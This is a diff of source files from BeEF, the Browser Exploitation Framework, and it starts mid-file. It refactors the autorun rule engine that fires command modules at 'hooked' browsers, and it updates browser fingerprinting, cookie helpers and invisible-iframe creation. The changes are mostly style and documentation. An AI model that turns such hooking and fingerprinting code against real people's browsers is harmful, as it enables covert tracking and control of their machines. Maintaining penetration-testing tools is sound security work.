os_ver_rule_maj = 6
os_ver_rule_min = 0
end
next unless @VERSION.include?(b_ver_cond)
next unless BeEF::Filters.is_valid_browserversion?(b_ver)
next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond)
# os_ver without checks as it can be very different or even empty, for instance on linux/bsd)
# skip rule unless the browser matches
browser_match = false
# check if rule specifies multiple browsers
if rule.browser =~ /\A[A-Z]+\Z/
next unless rule.browser == 'ALL' || browser == rule.browser
# check if the browser version matches
browser_version_match = compare_versions(browser_version.to_s, b_ver_cond, b_ver.to_s)
browser_match = if browser_version_match
true
else
false
end
print_more "Browser version check -> (hook) #{browser_version} #{rule.browser_version} (rule) : #{browser_version_match}"
else
rule.browser.gsub(/[^A-Z,]/i, '').split(',').each do |b|
browser_match = true if b == browser || b == 'ALL'
end
# else, only one browser
end
next unless browser_match
# skip rule unless the OS matches
next unless rule.os == 'ALL' || os == rule.os
# check if the OS versions match
if !os_version.nil? || rule.os_version != 'ALL'
os_major_version_match = compare_versions(os_ver_hook_maj.to_s, os_ver_rule_cond, os_ver_rule_maj.to_s)
os_minor_version_match = compare_versions(os_ver_hook_min.to_s, os_ver_rule_cond, os_ver_rule_min.to_s)
else
# os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL )
os_major_version_match = true
os_minor_version_match = true
end
os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match)
print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}"
if browser_match && os_match
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
match_rules.push(rule.id)
end
rescue StandardError => e
print_error e.message
print_debug e.backtrace.join("\n")
end
print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version."
return match_rules
match_rules
end
# compare versions
@@ -491,7 +491,8 @@ module BeEF
return true if cond == '<' && ver_a < ver_b
return true if cond == '>=' && ver_a >= ver_b
return true if cond == '>' && ver_a > ver_b
return false
false
end
end
end

View File

@@ -1,89 +1,85 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class Parser
include Singleton
def initialize
@config = BeEF::Core::Configuration.instance
end
BROWSER = ['FF','C','IE','S','O','ALL']
OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL']
VERSION = ['<','<=','==','>=','>','ALL','Vista','XP']
CHAIN_MODE = ['sequential','nested-forward']
BROWSER = %w[FF C IE S O ALL]
OS = %w[Linux Windows OSX Android iOS BlackBerry ALL]
VERSION = ['<', '<=', '==', '>=', '>', 'ALL', 'Vista', 'XP']
CHAIN_MODE = %w[sequential nested-forward]
MAX_VER_LEN = 15
# Parse a JSON ARE file and returns an Hash with the value mappings
def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
begin
success = [true]
def parse(name, author, browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
success = [true]
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
# if multiple browsers were specified, check each browser
if browser.kind_of?(Array)
browser.each do |b|
return [false, 'Illegal browser definition'] unless BROWSER.include?(b)
end
# else, if only one browser was specified, check browser and browser version
else
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
if browser_version != 'ALL'
return [false, 'Illegal browser_version definition'] unless
VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) &&
BeEF::Filters::is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/,'')) && browser_version.length < MAX_VER_LEN
end
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
# if multiple browsers were specified, check each browser
if browser.is_a?(Array)
browser.each do |b|
return [false, 'Illegal browser definition'] unless BROWSER.include?(b)
end
# else, if only one browser was specified, check browser and browser version
else
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
if os_version != 'ALL'
return [false, 'Illegal os_version definition'] unless
VERSION.include?(os_version[0,2].gsub(/\s+/,'')) &&
BeEF::Filters::is_valid_osversion?(os_version[2..-1].gsub(/\s+/,'')) && os_version.length < MAX_VER_LEN
if browser_version != 'ALL' && !(VERSION.include?(browser_version[0, 2].gsub(/\s+/, '')) &&
BeEF::Filters.is_valid_browserversion?(browser_version[2..-1].gsub(/\s+/, '')) && browser_version.length < MAX_VER_LEN)
return [false, 'Illegal browser_version definition']
end
return [false, 'Illegal os definition'] unless OS.include?(os)
# check if module names, conditions and options are ok
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first
if mod != nil
modk = BeEF::Module.get_key_by_database_id(mod.id)
mod_options = BeEF::Module.get_options(modk)
opt_count = 0
mod_options.each do |opt|
if opt['name'] == cmd_mod['options'].keys[opt_count]
opt_count += 1
else
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
}) for module (#{cmd_mod['name']}) does not exist"]
end
end
else
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
end
end
exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}
exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}
return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless
modules.size == exec_order.size && modules.size == exec_delay.size
success
rescue => e
print_error "#{e.message}"
print_debug "#{e.backtrace.join("\n")}"
return [false, 'Something went wrong.']
end
if os_version != 'ALL' && !(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) &&
BeEF::Filters.is_valid_osversion?(os_version[2..-1].gsub(/\s+/, '')) && os_version.length < MAX_VER_LEN)
return [false, 'Illegal os_version definition']
end
return [false, 'Illegal os definition'] unless OS.include?(os)
# check if module names, conditions and options are ok
modules.each do |cmd_mod|
mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first
if mod.nil?
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
else
modk = BeEF::Module.get_key_by_database_id(mod.id)
mod_options = BeEF::Module.get_options(modk)
opt_count = 0
mod_options.each do |opt|
if opt['name'] == cmd_mod['options'].keys[opt_count]
opt_count += 1
else
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
}) for module (#{cmd_mod['name']}) does not exist"]
end
end
end
end
exec_order.each { |order| return [false, 'execution_order values must be Integers'] unless order.integer? }
exec_delay.each { |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer? }
return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless
modules.size == exec_order.size && modules.size == exec_delay.size
success
rescue StandardError => e
print_error e.message.to_s
print_debug e.backtrace.join("\n").to_s
[false, 'Something went wrong.']
end
end
end

View File

@@ -1,14 +1,12 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module AutorunEngine
class RuleLoader
include Singleton
def initialize
@@ -18,78 +16,74 @@ module BeEF
# this expects parsed JSON as input
def load(data)
begin
name = data['name']
author = data['author']
browser = data['browser'] || 'ALL'
browser_version = data['browser_version'] || 'ALL'
os = data['os'] || 'ALL'
os_version = data['os_version'] || 'ALL'
modules = data['modules']
exec_order = data['execution_order']
exec_delay = data['execution_delay']
chain_mode = data['chain_mode']
name = data['name']
author = data['author']
browser = data['browser']||'ALL'
browser_version = data['browser_version']||'ALL'
os = data['os']||'ALL'
os_version = data['os_version']||'ALL'
modules = data['modules']
exec_order = data['execution_order']
exec_delay = data['execution_delay']
chain_mode = data['chain_mode']
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
name, author, browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode
)
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode)
if parser_result.length == 1 && parser_result.first
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
if @debug_on
print_more "Target Browser: #{browser} (#{browser_version})"
print_more "Target OS: #{os} (#{os_version})"
print_more "Modules to Trigger:"
modules.each do |mod|
print_more "(*) Name: #{mod['name']}"
print_more "(*) Condition: #{mod['condition']}"
print_more "(*) Code: #{mod['code']}"
print_more "(*) Options:"
mod['options'].each do |key,value|
print_more "\t#{key}: (#{value})"
end
end
print_more "Exec order: #{exec_order}"
print_more "Exec delay: #{exec_delay}"
if parser_result.length == 1 && parser_result.first
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
if @debug_on
print_more "Target Browser: #{browser} (#{browser_version})"
print_more "Target OS: #{os} (#{os_version})"
print_more 'Modules to Trigger:'
modules.each do |mod|
print_more "(*) Name: #{mod['name']}"
print_more "(*) Condition: #{mod['condition']}"
print_more "(*) Code: #{mod['code']}"
print_more '(*) Options:'
mod['options'].each do |key, value|
print_more "\t#{key}: (#{value})"
end
end
are_rule = BeEF::Core::Models::Rule.new(
:name => name,
:author => author,
:browser => browser,
:browser_version => browser_version,
:os => os,
:os_version => os_version,
:modules => modules.to_json,
:execution_order => exec_order,
:execution_delay => exec_delay,
:chain_mode => chain_mode)
are_rule.save
return { 'success' => true, 'rule_id' => are_rule.id}
else
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
return { 'success' => false, 'error' => parser_result.last }
print_more "Exec order: #{exec_order}"
print_more "Exec delay: #{exec_delay}"
end
rescue => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
return { 'success' => false, 'error' => err }
are_rule = BeEF::Core::Models::Rule.new(
name: name,
author: author,
browser: browser,
browser_version: browser_version,
os: os,
os_version: os_version,
modules: modules.to_json,
execution_order: exec_order,
execution_delay: exec_delay,
chain_mode: chain_mode
)
are_rule.save
{ 'success' => true, 'rule_id' => are_rule.id }
else
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
{ 'success' => false, 'error' => parser_result.last }
end
rescue StandardError => e
err = 'Malformed JSON ruleset.'
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
{ 'success' => false, 'error' => err }
end
def load_file(json_rule_path)
begin
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
self.load JSON.parse(rule_file)
rescue => e
print_error "[ARE] Failed to load ruleset from #{json_rule_path}"
end
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
self.load JSON.parse(rule_file)
rescue StandardError => e
print_error "[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}"
end
def load_directory
Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule|
print_debug "[ARE] Processing rule: #{rule}"
self.load_file rule
load_file rule
end
end
end

View File

@@ -1,16 +1,39 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* A series of functions that handle statuses, returns a number based on the function called.
* @namespace beef.are
*/
beef.are = {
/**
* A function for handling a success status
* @memberof beef.are
* @method status_success
* @return {number} 1
*/
status_success: function(){
return 1;
},
/**
* A function for handling an unknown status
* @memberof beef.are
* @method status_unknown
* @return {number} 0
*/
status_unknown: function(){
return 0;
},
/**
* A function for handling an error status
* @memberof beef.are
* @method status_error
* @return {number} -1
*/
status_error: function(){
return -1;
}

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
@@ -13,23 +13,24 @@ $j = jQuery.noConflict();
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
/**
* Register the BeEF JS on the window object.
* @namespace {Object} BeefJS
* @property {string} version BeEf Version
* @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write().
* @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method.
* @property {array} onclose An array containing functions to be executed by the window.onclose() method.
* @property {array} commands An array containing functions to be executed by Beef.
* @property {array} components An array containing all the BeEF JS components.
*/
var BeefJS = {
version: '<%= @beef_version %>',
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
pageIsLoaded: false,
// An array containing functions to be executed by the window.onpopstate() method.
onpopstate: new Array(),
// An array containing functions to be executed by the window.onclose() method.
onclose: new Array(),
// An array containing functions to be executed by Beef.
commands: new Array(),
// An array containing all the BeEF JS components.
components: new Array(),
/**
@@ -37,8 +38,8 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
* @param: {string} the debug string to return
*/
debug: function(msg) {
if (!<%= @client_debug %>) return;
if (typeof console == "object" && typeof console.log == "function") {
isDebug = '<%= @client_debug %>'
if (typeof console == "object" && typeof console.log == "function" && isDebug === 'true') {
var currentdate = new Date();
var pad = function(n){return ("0" + n).slice(-2);}
var datetime = currentdate.getFullYear() + "-"

View File

@@ -1,16 +1,23 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @literal object: beef.browser
*
* Basic browser functions.
* @namespace beef.browser
*/
beef.browser = {
/**
* Returns the protocol.
* @example: beef.browser.getProtocol()
*/
getProtocol: function() {
return document.location.protocol;
},
/**
* Returns the user agent that the browser is claiming to be.
* @example: beef.browser.getBrowserReportedName()
@@ -110,7 +117,7 @@ beef.browser = {
* @example: beef.browser.isIE10()
*/
isIE10: function () {
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== "undefined";
},
/**
@@ -128,7 +135,7 @@ beef.browser = {
* @example: beef.browser.isEdge()
*/
isEdge: function () {
return !beef.browser.isIE() && !!window.StyleMedia;
return !beef.browser.isIE() && !!window.styleMedia && (/Edg\/\d+\.\d/.test(window.navigator.userAgent) || /Edge\/\d+\.\d/.test(window.navigator.userAgent));
},
/**
@@ -856,7 +863,7 @@ beef.browser = {
* @example: beef.browser.isFF89()
*/
isFF89: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/89./) != null;
},
/**
@@ -864,7 +871,7 @@ beef.browser = {
* @example: beef.browser.isFF90()
*/
isFF90: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/90./) != null;
},
/**
@@ -872,7 +879,7 @@ beef.browser = {
* @example: beef.browser.isFF91()
*/
isFF91: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/91./) != null;
},
/**
@@ -880,7 +887,7 @@ beef.browser = {
* @example: beef.browser.isFF92()
*/
isFF92: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/92./) != null;
},
/**
@@ -888,7 +895,7 @@ beef.browser = {
* @example: beef.browser.isFF93()
*/
isFF93: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/93./) != null;
},
/**
@@ -896,7 +903,7 @@ beef.browser = {
* @example: beef.browser.isFF94()
*/
isFF94: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/94./) != null;
},
/**
@@ -904,7 +911,7 @@ beef.browser = {
* @example: beef.browser.isFF95()
*/
isFF95: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/95./) != null;
},
/**
@@ -912,7 +919,7 @@ beef.browser = {
* @example: beef.browser.isFF96()
*/
isFF96: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/96./) != null;
},
/**
@@ -920,7 +927,7 @@ beef.browser = {
* @example: beef.browser.isFF97()
*/
isFF97: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/97./) != null;
},
/**
@@ -928,7 +935,7 @@ beef.browser = {
* @example: beef.browser.isFF98()
*/
isFF98: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/98./) != null;
},
/**
@@ -936,7 +943,7 @@ beef.browser = {
* @example: beef.browser.isFF99()
*/
isFF99: function () {
return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != "undefined" && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
return !!window.devicePixelRatio && !!window.history.replaceState && (this.getProtocol() == "https:" ? typeof navigator.mozGetUserMedia != "undefined" : true) && (typeof window.crypto != "undefined" && typeof window.crypto.getRandomValues != "undefined") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\/99./) != null;
},
/**
@@ -997,10 +1004,13 @@ beef.browser = {
/**
* Returns true if Webkit based
*
* **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
*/
isWebKitBased: function () {
/*
* **** DUPLICATE WARNING **** Changes here may aldo need addressed in /isS\d+/ functions.
*/
return (!window.opera && !window.chrome
&& window.navigator.userAgent.match(/ Version\/\d/) != null
&& !window.globalStorage
@@ -2493,6 +2503,7 @@ beef.browser = {
type: function () {
return {
E: this.isEdge(), // Edge any version
C5: this.isC5(), // Chrome 5
C6: this.isC6(), // Chrome 6
C7: this.isC7(), // Chrome 7
@@ -3914,12 +3925,12 @@ beef.browser = {
getPlugins: function () {
var results;
Array.prototype.unique = function () {
var o = {}, i, l = this.length, r = [];
for (i = 0; i < l; i += 1) o[this[i]] = this[i];
for (i in o) r.push(o[i]);
return r;
};
function unique(array) {
return $j.grep(array, function(el, index) {
return index === $j.inArray(el, array);
});
}
// Things lacking navigator.plugins
if (!navigator.plugins)
@@ -3938,8 +3949,8 @@ beef.browser = {
// Sometimes store the version in description (Real, Adobe)
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
}
results = results.unique().toString();
results = unique(results).toString();
// All browsers that don't support navigator.plugins
} else {
results = new Array();
@@ -4579,17 +4590,19 @@ beef.browser = {
* This code is based on research from browserspy.dk
*
* @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
* @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
* @return {Object} A jQuery deferred object promise, which when resolved passes
* the number of connections to the callback function as "this"
*
* example usage:
* $j.when(getMaxConnections()).done(function(){
* console.debug("Max Connections: " + this);
* });
*
*/
getMaxConnections: function (scope) {
getMaxConnections: function (scope) {
/*
* example usage:
* $j.when(getMaxConnections()).done(function(){
* console.debug("Max Connections: " + this);
* });
*/
var imagesCount = 30; // Max number of images to test
var secondsTimeout = 5; // Image load timeout threashold
var testUrl = ""; // The image testing service URL

View File

@@ -1,19 +1,18 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.browser.cookie
*
/**
* Provides fuctions for working with cookies.
* Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
* Original author unknown.
*
* @namespace beef.browser.cookie
*/
beef.browser.cookie = {
/** @memberof beef.browser.cookie */
setCookie: function (name, value, expires, path, domain, secure)
{
@@ -32,7 +31,7 @@ beef.browser.cookie = {
( ( domain ) ? ";domain=" + domain : "" ) +
( ( secure ) ? ";secure" : "" );
},
/** @memberof beef.browser.cookie */
getCookie: function(name)
{
var a_all_cookies = document.cookie.split( ';' );
@@ -63,7 +62,7 @@ beef.browser.cookie = {
return null;
}
},
/** @memberof beef.browser.cookie */
deleteCookie: function (name, path, domain)
{
if ( this.getCookie(name) ) document.cookie = name + "=" +
@@ -72,7 +71,7 @@ beef.browser.cookie = {
";expires=Thu, 01-Jan-1970 00:00:01 GMT";
},
/* Never stop the madness dear C. */
/** @memberof beef.browser.cookie */
veganLol: function (){
var to_hell= '';
var min = 17;
@@ -99,7 +98,7 @@ beef.browser.cookie = {
}
return to_hell;
},
/** @memberof beef.browser.cookie */
hasSessionCookies: function (name){
this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
@@ -108,7 +107,7 @@ beef.browser.cookie = {
return cookiesEnabled;
},
/** @memberof beef.browser.cookie */
hasPersistentCookies: function (name){
this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );

View File

@@ -1,19 +1,17 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.browser.popup
*
/**
* Provides fuctions for working with cookies.
* Several functions adopted from http://davidwalsh.name/popup-block-javascript
* Original author unknown.
*
* @namespace beef.browser.popup
*/
beef.browser.popup = {
/** @memberof beef.browser.popup */
blocker_enabled: function ()
{
screenParams = beef.hardware.getScreenSize();

View File

@@ -1,20 +1,19 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.dom
*
/**
* Provides functionality to manipulate the DOM.
* @namespace beef.dom
*/
beef.dom = {
/**
* Generates a random ID for HTML elements
* @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
* @return: generated id
* @param {String} prefix a custom prefix before the random id. defaults to "beef-"
* @return {String} generated id
*/
generateID: function(prefix) {
return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
@@ -22,9 +21,9 @@ beef.dom = {
/**
* Creates a new element but does not append it to the DOM.
* @param: {String} the name of the element.
* @param: {Literal Object} the attributes of that element.
* @return: the created element.
* @param {String} type the name of the element.
* @param {Array} attributes the attributes of that element.
* @return {Array} the created element.
*/
createElement: function(type, attributes) {
var el = document.createElement(type);
@@ -40,7 +39,7 @@ beef.dom = {
/**
* Removes element from the DOM.
* @param: {String or DOM Object} the target element to be removed.
* @param {Object} el the target element to be removed.
*/
removeElement: function(el) {
if (!beef.dom.isDOMElement(el))
@@ -54,8 +53,8 @@ beef.dom = {
/**
* Tests if the object is a DOM element.
* @param: {Object} the DOM element.
* @return: true if the object is a DOM element.
* @param {Object} the DOM element.
* @return {boolean} true if the object is a DOM element.
*/
isDOMElement: function(obj) {
return (obj.nodeType) ? true : false;
@@ -63,7 +62,7 @@ beef.dom = {
/**
* Creates an invisible iframe on the hook browser's page.
* @return: the iframe.
* @return {array} the iframe.
*/
createInvisibleIframe: function() {
